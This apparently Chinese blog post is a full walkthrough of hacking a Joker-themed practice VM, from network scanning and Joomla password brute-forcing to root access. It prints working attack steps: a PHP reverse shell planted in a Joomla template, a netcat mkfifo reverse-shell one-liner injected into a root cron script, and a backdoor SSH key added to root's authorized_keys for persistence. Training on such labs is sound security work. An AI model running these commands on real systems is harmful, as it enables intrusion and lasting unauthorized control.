一次零基础 自“信息收集“到“权限维持“的渗透测试全程详细记录

 一、渗透总流程

1.确定目标:

        在本靶场中,确定目标就是使用各种扫描工具进行ip扫描,确定目标ip。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如使用Wappalyzer插件、nmap工具等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

6.权限维持:   

        在渗透测试过程中,权限维持是指利用已获取的权限、漏洞或凭证,保持长期对目标系统的访问权限,并持续地潜伏在系统内部以获得更多信息或执行更高级别的攻击。权限维持通常发生在成功渗透系统后,攻击者不仅仅是获取对系统的访问权限,还试图保持这种权限,以执行进一步的攻击操作。
 

二、打靶实例详解


文章内的靶机及脚本关注后私信获取


1.准备阶段

首先将靶机以及kali启动。

注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

2.信息收集——确认靶机ip

首先确定攻击机kali的ip来确定接下来扫描的网段。

命令:ip a

方法一——fping

命令:fping -g 192.168.10.0/24

方法二——Netdiscover

命令:netdiscover -i eth0 -r 192.168.10.0/24

方法三——arp-scan

命令:arp-scan -l

方法四——nmap

命令:nmap -sP 192.168.10.0/24

在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。

所以通过上面的四种方法均可以确定靶机的ip地址为:192.168.10.176。

3.信息收集——端口扫描

命令:nmap -A -v -sS -sV -p- 192.168.10.176

知识点——nmap参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口

可以看到开放的端口有:
22:SSH服务
80:HTTP服务

4.威胁建模

访问:http://192.168.10.176/

通过Wappalyzer插件得到下面的信息:
Web服务:Apache 2.4.38
操作系统:Debian

5.漏洞探测

通过前面的扫描,可以看到存在开放的80端口,因此猜测其存在HTTP服务。

访问其web服务,默认端口为80。

可以看到一张小丑的图片。

查看网页源代码,可以看到没有什么有价值的信息。

查看robot.txt文件,同样没有什么收获。

安装Gobuster工具。

命令:apt-get install gobuster

接下来通过使用Gobuster和大字典(Kali自带),查找网站部署的服务器,发现了JoomlaCMS。

命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt

访问Joomla站点,发现只有一个帖子,其中有电影“小丑”的两个场景对话,还发现一个登录口。

安装Joomscan工具。

命令:apt-get install joomscan

接下来使用Joomscan对站点进行探测。

列出版本信息、敏感目录以及备份文件等有助于寻找漏洞的信息。

命令:joomscan -u 192.168.10.176/joomla

6.漏洞利用

使用Cewl工具对Joomla中发现的对话内的单词创建一个自定义词典。

命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt

命令解释:常用于密码破解的准备工作,生成一个基于目标网站内容的密码字典。 -m 5 参数表示生成一个最小长度为5个字符的单词列表。它从指定的URL http://192.168.10.176/joomla/ 中提取文本,然后将提取的内容输出到一个名为 dic-words.txt 的文件中。

查看生成的字典。

接下来利用刚刚生成的字典对网页内的登录口进行爆破。

首先启动burp打开拦截器。

开启浏览器内的代理。

在登录口随便输入账号密码后点击Log in。

此时可以看到burp拦截到的数据包。

鼠标右键点击数据包后将其发送到Intruder。

在Intruder页面先确认选取Sniper,然后将username改为joomla,选中之前登录口随便填写的密码使用Add给password加上标记。

打开Payloads界面进行相关配置。

选取Simple list格式。

在下方点击load填入之前创建的密码字典dic-words.txt。

导入字典后点击Start attack开始爆破。

等待爆破解释后通过Lenght对结果筛选,得到密码Gotham。

使用username为joomla和password为Gotham尝试登陆,发现登录成功。

在枚举过程中我们嗅探到joomla下有administrator目录,尝试访问一下,发现可以成功访问。

使用刚刚爆破得到的用户名和密码登录。

发现登录成功。

接下来尝试在这个站点内建立一个反弹shell。

打开Extensions->Templates->Styles。

可以看到Beez3和protostar两个目录。

点击Protostar打开protostar目录。

进入/index.php页面进行编辑。

为了后续方便代码的复制粘贴,安装gedit工具。

命令:apt-get install gedit

进入到/usr/share/webshells/php目录,找到php-reverse-shell.php文件复制整个文件的代码。

命令:cd /usr/share/webshells/php

命令:gedit php-reverse-shell.php

用复制的shell脚本替换掉/index.php中的原始代码。

在第49行和50行找到ip和port。

将ip更改为攻击机kali的IP,这里为Kali IP:192.168.10.132。

端口可以自己设定,这里设置为5555。

点击左上角的save进行保存。

之后在kali中打开监听,重新访问“192.168.10.176/joomla/index.php”页面,在Kali中可以看到反弹成功。

命令:nc -lnvp 5555

地址:192.168.10.176/joomla/index.php

使用python3打开一个bash终端。

命令:python3 -c "import pty;pty.spawn('/bin/bash')"

查看home目录发现三个用户。

命令:ls /home

进入到/var/www/目录并查看,发现有html和joomla2两个文件夹。

命令:cd /var/www/ && ls -a

进入到joomla2文件夹内并查看,发现了configuration.php文件。

命令:cd joomla2 && ls -a

查看该文件,发现了一个数据的用户名和密码。

命令:cat configuration.php

用账号joomla和密码babyjoker尝试登录数据库,发现登录成功。

命令:mysql -u joomla -p

在数据库内查找有用的信息,查看是否有存储用户名和密码的文件。

命令:show databases;

命令:use batjoke;

成功找到密码信息如下图所示。

命令:select * from taskforce;

将密码进行base64解密,可以看到解密后的明文。

命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

  1. 知识点——命令说明:
    这个命令是将给定的Base64编码的字符串解码回原始的文本。具体来说,命令中的 echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' 是将Base64编码的密文输入到管道中,然后 base64 -d 解码这个Base64编码的字符串,并将其转换为原始文本。

7.权限提升

使用前面获取到的密码通过ssh命令尝试进行登录,发现登录成功了。

用户名:rob

密码:??? AllIHaveAreNegativeThoughts???

命令:ssh rob@192.168.10.176

在rob用户的系统中搜索资产,发现一个关于用户的文件user.txt,查看该文件。

命令:ls

查看user.txt文件。

命令:cat user.txt

遍历目录,发现了可疑文件Abnerineedyourhelp。

命令:ls -lna

查看文件,发现一段加密后的话。

命令:cat Abnerineedyourhelp

根据用户名rot联想到疑似是rot13加密,于是利用CyberChef工具尝试解密。

成功解密,得到下图所示的明文。

翻译后的内容如下,可以看到末尾有一段密码。

对上述的密码进行base64解密。

命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

根据上面翻译结果内的提示,尝试利用上面解密出的密码登录用户名为abner的用户,执行命令后发现登录成功到了abner。

命令:su abner

密码:I33hope99my0death000makes44more8cents00than0my0life0

命令:whoami

进入到abner的目录下并进行目录遍历,发现可疑文件info.txt和user2.txt。

命令:cd /home/abner && ls -lna

分别查看两个文件。

命令:cat info.txt

命令:cat user2.txt

翻译得到的内容可以看到其是对Glasgow smile的介绍。

查看命令执行的历史记录。

命令:cat .bash_history

在全盘中搜索与penguin用户相关的文件,找到两条关键信息。

命令:find / -name .dear_penguins.zip 2>/dev/null

来到上面查找到的文件的目录下并查看,可以看到上面搜索到的压缩包。

命令:ls -al /var/www/joomla2/administrator/manifests/files/

将其解压。

命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

密码:I33hope99my0death000makes44more8cents00than0my0life0

查看.dear_penguins文件。

命令:cat .dear_penguins

翻译得到的内容。

得到penguin用户的密码,使用得到的密码尝试登录用户penguin,发现成功登录。

命令:su penguin

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

命令:whoami

进入到penguin的目录下并进行目录遍历,查找可疑文件或目录,发现可以目录SomeoneWhoHidesBehindAMask。

命令:cd /home/penguin && ls -lna

进入SomeoneWhoHidesBehindAMask目录并遍历,发现两个可疑文件。

命令:cd SomeoneWhoHidesBehindAMask && ls -lna

查看PeopleAreStartingToNotice.txt。

命令:cat PeopleAreStartingToNotice.txt

翻译得到下面内容,是Joker给Penguin的留言,貌似说正在编写一个程序,只能用root运行,完成以后joker将会拷贝到当前目录。

查看.trash_old文件,可以看到其内容类似于一个shell脚本。

命令:cat .trash_old

结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。

这个时候联想到需要使用pspy工具监控没有root权限的Linux系统。

前面进行端口扫描的时候存在开放的22端口,并且已经拿到了该系统的登录用户名和密码。

因此尝试利用ssh远程连接进行上传pspy工具。

首先将pspy文件下载到本地。

然后尝试利用ssh连接靶机。

命令:ssh penguin@192.168.10.176

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在本机的pspy目录下,启动python的http服务,启动端口可以任意填写但是要注意不要与已经启动服务的端口重复。

命令:python3 -m http.server 5556

启动后访问本地地址进行验证,可以看到可以访问到kali内的文件。

访问地址:http://192.168.10.132:5556/

在靶机上将pspy64wget下来。

命令:wget http://192.168.10.132:5556/pspy64

查看文件pspy64,发现没有权限执行。

命令:ls -lah

修改其权限让其可以执行并进行验证。 

命令:chmod +x pspy64

命令:ls -lah

执行pspy,利用其对系统进程进行监控。

命令:./pspy64 -p -i 1000

监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行。

回到前面.trash_old的目录下,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)。

命令:vi .trash_old

代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f

保存并退出::wq!

在kali内开启监听,连接上后,执行whoami或id命令,可以看到此时成功拿到了root权限。

命令:nc -lnvp 5557

命令:whoami

命令:id

查看当前目录下内容,可以看到root.txt文件,查看root.txt。

命令:ls

命令:cat root.txt

上面成功拿到了root权限。

8.权限维持

在渗透测试中,权限维持是非常重要的一步。获取了系统或网络的访问权限后,可以尽量保持这些权限,以便进行后续的深入渗透,如渗透到更深层次的系统等。

首先利用攻击机kali生成公钥私钥对,默认保存在.ssh目录下。

命令:ssh-keygen -t rsa

查看刚刚生成的公钥和私钥,其中id_rsa为私钥,留在攻击机kali内,id_ras.pub为公钥,传到靶机内即可。

命令:cd .ssh

命令:ls -lah

在存放公钥私钥的.ssh目录下启动python的http服务。

命令:python3 -m http.server 5558

将公钥下载到靶机上并查看。

命令:wget http://192.168.10.132:5558/id_rsa.pub

命令:ls

在靶机内查看当前路径,确认是root用户目录后在当前目录下创建.ssh目录。

命令:pwd

命令:mkdir .ssh

命令:ls -alh

在.ssh目录下创建authorized_keys文件。

命令:touch .ssh/authorized_keys

将密钥写入到authorized_keys文件中。

命令:cat id_rsa.pub >> .ssh/authorized_keys

此时使用kali就可以直接连接到靶机的root权限了。

命令:ssh root@192.168.10.176

只要靶机上的公钥文件存在,就可以利用私钥永久拿到靶机的控制权。

至此权限维持操作完成!

相关推荐

  1. 信息收集 - 渗透测试流程

    2024-07-10 00:28:06       48 阅读
  2. 信息收集 - 渗透测试工具

    2024-07-10 00:28:06       59 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 00:28:06       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 00:28:06       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 00:28:06       45 阅读
  4. Python语言-面向对象

    2024-07-10 00:28:06       55 阅读

热门阅读

  1. 《妃梦千年》第二十九章:朝中波澜

    2024-07-10 00:28:06       20 阅读
  2. FineReport报表开发步骤

    2024-07-10 00:28:06       25 阅读
  3. py每日spider案例之magnet篇

    2024-07-10 00:28:06       17 阅读
  4. Gridea + SFTP +Docker + Nginx 配置博客-CSDN

    2024-07-10 00:28:06       24 阅读
  5. 工具推荐:滴答清单

    2024-07-10 00:28:06       21 阅读
  6. 怎么样调整分类的阈值

    2024-07-10 00:28:06       21 阅读
  7. 数据分表和分库原理

    2024-07-10 00:28:06       18 阅读
  8. sklearn中的Pipeline:构建无缝机器学习工作流

    2024-07-10 00:28:06       21 阅读
  9. 生成式人工智能:助攻开发者还是取代开发者?

    2024-07-10 00:28:06       22 阅读
  10. VBA 批量转换xls文件

    2024-07-10 00:28:06       18 阅读
  11. 逻辑回归不是回归吗?那为什么叫回归?

    2024-07-10 00:28:06       19 阅读